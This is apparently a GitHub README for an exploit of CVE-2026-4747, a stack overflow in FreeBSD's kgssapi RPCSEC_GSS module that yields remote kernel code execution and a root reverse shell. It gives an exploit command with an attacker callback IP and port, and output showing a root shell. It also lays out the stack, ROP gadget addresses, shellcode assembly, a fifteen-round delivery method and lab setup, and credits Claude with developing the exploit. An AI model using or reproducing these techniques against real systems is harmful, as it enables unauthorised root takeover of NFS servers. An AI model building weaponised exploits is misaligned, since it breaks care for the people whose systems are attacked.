kaleth4/CVE-2026-4747-
GitHub: kaleth4/CVE-2026-4747-
这是一个针对 FreeBSD 内核 kgssapi 模块的远程代码执行利用工具,通过 RPCSEC_GSS 栈溢出实现无交互的 root 权限反弹 Shell。
Stars: 0 | Forks: 0
# CVE-2026-4747: FreeBSD 远程内核 RCE
## 📋 快速概要
| 方面 | 详情 |
|---------|---------|
| **CVE** | CVE-2026-4747 |
| **漏洞** | `kgssapi.ko` 中的栈缓冲区溢出 (RPCSEC_GSS) |
| **影响** | 远程内核代码执行 → uid 0 反弹 Shell |
| **受影响版本** | FreeBSD 13.5, 14.3, 14.4, 15.0 (未修补版本) |
| **发现者** | Nicholas Carlini 使用 Claude (Anthropic) |
| **公告发布日期** | 2026-03-26 |
| **利用耗时** | ~8 小时 (Claude 实际工作 4 小时) |
## 🎯 时间线
- **2026-03-26**: FreeBSD 发布公告 [CVE-2026-4747](https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc)
- **2026-03-29 上午 9:45 PDT**: 请求 Claude 开发 exploit
- **2026-03-29 下午 5:00 PDT**: Claude 交付带有 uid 0 反弹 Shell 的可用 exploit
## 🚀 现场演示
```
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
```
**输出:**
```
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/freebsd-vuln@TEST.LOCAL
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
```
## 🔍 Claude 做了什么?
Claude 解决了 **6 个不同的技术难题**,从而从安全公告实现了可用的反弹 Shell:
### 1️⃣ **实验室环境搭建**
- FreeBSD 14.4-RELEASE 虚拟机,配置 NFS + Kerberos
- **关键要求**: 2+ 个 CPU (exploit 每轮会杀掉 1 个 NFS 线程,需要 15 轮)
- 远程调试以读取内核崩溃转储
### 2️⃣ **多包投递**
- 432 字节的 Shellcode 无法放入 1 个包 (XDR 限制: 400 字节)
- 解决方案: **15 轮** 溢出
- 第 1 轮: `pmap_change_prot()` → 可执行 BSS
- 第 2-14 轮: 每轮写入 32 字节 Shellcode
- 第 15 轮: 最后 16 字节 + 跳转到 Shellcode
### 3️⃣ **线程干净退出**
- 每次溢出劫持一个 NFS worker 线程
- 使用 `kthread_exit()` 干净地终止 (无 kernel panic)
- NFS 服务器保持存活以进行下一轮
### 4️⃣ **偏移调试 (De Bruijn 模式)**
- 初始反汇编显示 RIP 位于第 168 字节 → **错误**
- Claude 发送了循环 De Bruijn 模式
- 读取内核崩溃转储 → 实际偏移: **第 200 字节**
- 32 字节的差异: GSS 头部 + 上下文处理
### 5️⃣ **内核 → 用户态切换**
- NFS 线程是纯内核线程 (无 vmspace,无 trapframe)
- 两阶段解决方案:
- **阶段 1**: `kproc_create()` → 创建具有用户态基础设施的新进程
- **阶段 2**: `kern_execve("/bin/sh")` → 加载 ELF,配置 trapframe,清除 `P_KPROC` 标志
- 结果: `/bin/sh` 在 ring 3 以 uid 0 身份执行
### 6️⃣ **调试寄存器之谜 (DR7/DDB)**
- Worker 在有效指令处因 `trap 1` (调试异常) 崩溃
- 原因: `kproc_create()` 继承父进程的调试寄存器
- 之前的 panic 激活了 DDB → 持久的硬件断点
- 修复: 在 `kproc_create()` 之前清除 DR7
## 🏗️ 技术架构
### 栈布局 (通过 De Bruijn 验证)
```
Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← Primer gadget ROP
[208..399] → ROP chain (192 bytes = 24 qwords)
```
### ROP Gadgets (FreeBSD 14.4-RELEASE)
| Gadget | 地址 | 用途 |
|--------|-----------|----------|
| `pop rdi; ret` | `K+0x1adcda` | 参数 1 (rdi) |
| `pop rsi; ret` | `K+0x1cdf98` | 参数 2 (rsi) |
| `pop rdx; ret` | `K+0x5fa429` | 参数 3 (rdx) |
| `pop rax; ret` | `K+0x400cb4` | 待写入值 |
| `mov [rdi], rax; ret` | `0xffffffff80e3457c` | **8 字节任意写入** |
其中 `K = 0xffffffff80200000` (内核基址,FreeBSD 14.x 中未启用 KASLR)
### Shellcode (432 字节)
**阶段 1 - 入口 (被劫持的 NFS 线程):**
```
mov rax, 0xffffffff8198bf00 ; Pivote de stack a BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Limpia breakpoints de hardware
call rbx ; kproc_create (preloaded en RBX)
mov rax, kthread_exit
call rax ; Termina hilo limpiamente
```
**阶段 2 - Worker (新内核进程):**
```
; Configura argumentos para kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; Añade "-c" y comando reverse shell
; ...
; Ejecuta /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; Limpia P_KPROC flag
and byte [rax + 0xb8], 0xfb ; Permite transición a userland
ret ; → fork_exit → userret → iretq → ring 3
```
## 🛠️ 目标配置
### 选项 A: QEMU (使用 cloud-init 自动化)
```
# Descarga imagen
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Cloud-init config
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Boot con port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
```
### 选项 B: VMware / VirtualBox / bhyve (手动)
**要求:**
- **2+ 个 CPU** (关键: 8 个 NFS 线程/CPU,exploit 需要 15 轮)
- 2GB RAM, 8GB 磁盘
- FreeBSD 14.4-RELEASE
**在虚拟机中设置:**
```
# 1. Instalar Kerberos
pkg install -y krb5
# 2. Crear KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. Inicializar base de datos KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Crear principals (reemplaza "test" con tu hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password testuser@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/test@TEST.LOCAL"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/test@TEST.LOCAL"
# 5. Iniciar KDC
/usr/local/sbin/krb5kdc
# 6. Configurar NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Habilitar servicios
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Verificar
sysctl vfs.nfsd.threads # Debe mostrar 16 (con 2 CPUs)
sockstat -l | grep 2049 # Debe mostrar tcp4/tcp6
```
### 在攻击主机上设置 (Linux)
```
# 1. Instalar paquetes
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi
# 2. Configurar /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
default_realm = TEST.LOCAL
rdns = false # CRÍTICO: evita canonicalización DNS
dns_canonicalize_hostname = false
[realms]
TEST.LOCAL = {
kdc = VM_IP:KDC_PORT # 127.0.0.1:8888 (QEMU) o 192.168.x.x:88 (bridged)
}
EOF
# 3. Añadir hostname a /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts
# 4. Obtener ticket Kerberos
echo "password" | kinit testuser@TEST.LOCAL
klist
# 5. (Opcional) Instalar ROPgadget para encontrar gadgets nuevos
pip install ROPgadget
```
## 🎪 利用策略
### 第 1 轮: 使 BSS 可执行
```
ROP chain:
pop rdi → rdi = 0xffffffff8198a000 (BSS page)
pop rsi → rsi = 0x2000 (2 páginas = 8KB)
pop rdx → rdx = 7 (VM_PROT_ALL = RWX)
pmap_change_prot → cambia permisos a RWX
pop rdi → rdi = 0
kthread_exit → termina hilo limpiamente
```
### 第 2–14 轮: 写入 Shellcode
每轮向 BSS 写入 32 字节 (4 个 qword):
```
ROP chain template:
pop rdi → rdi = BSS_SC + offset
pop rax → rax = shellcode_qword
mov [rdi], rax → escribe 8 bytes
(repetir 3 veces más)
pop rdi → 0
kthread_exit → termina
```
**代价:** 40 字节 ROP / 8 字节写入 → 共 15 轮
### 第 15 轮: 跳转到 Shellcode
```
ROP chain:
pop rdi → rdi = BSS_SC + 416
pop rax → rax = último qword
mov [rdi], rax → escribe
(repetir)
BSS_SC → ¡SALTA A SHELLCODE!
```
## 🐛 已解决的挑战
| 问题 | 原因 | 解决方案 |
|----------|-------|----------|
| **RIP 偏移不正确** | 静态反汇编未计算 GSS 头部 | De Bruijn 模式 + 读取崩溃转储 |
| **MIT/Heimdal 不兼容** | DNS 主机名规范化 | `rdns = false` + `dns_canonicalize_hostname = false` |
| **Worker 发生 Trap 1** | 从 DDB 继承的调试寄存器 | 在 `kproc_create()` 之前清除 DR7 |
| **Shellcode 放不下** | 432 字节 > 400 字节 (XDR 限制) | 多轮投
标签:CISA项目, CVE-2026-4747, Exploit开发, FreeBSD, HTTP, Kernel Exploit, kgssapi.ko, NFS, RCE, Root权限, ROP链, RPCSEC_GSS, Shellcode, Web报告查看器, 二进制安全, 云资产清单, 人工智能安全, 内核漏洞, 合规性, 技术调研, 栈溢出, 编程工具, 网络安全, 进程监控, 远程代码执行, 逆向工具, 逆向工程, 隐私保护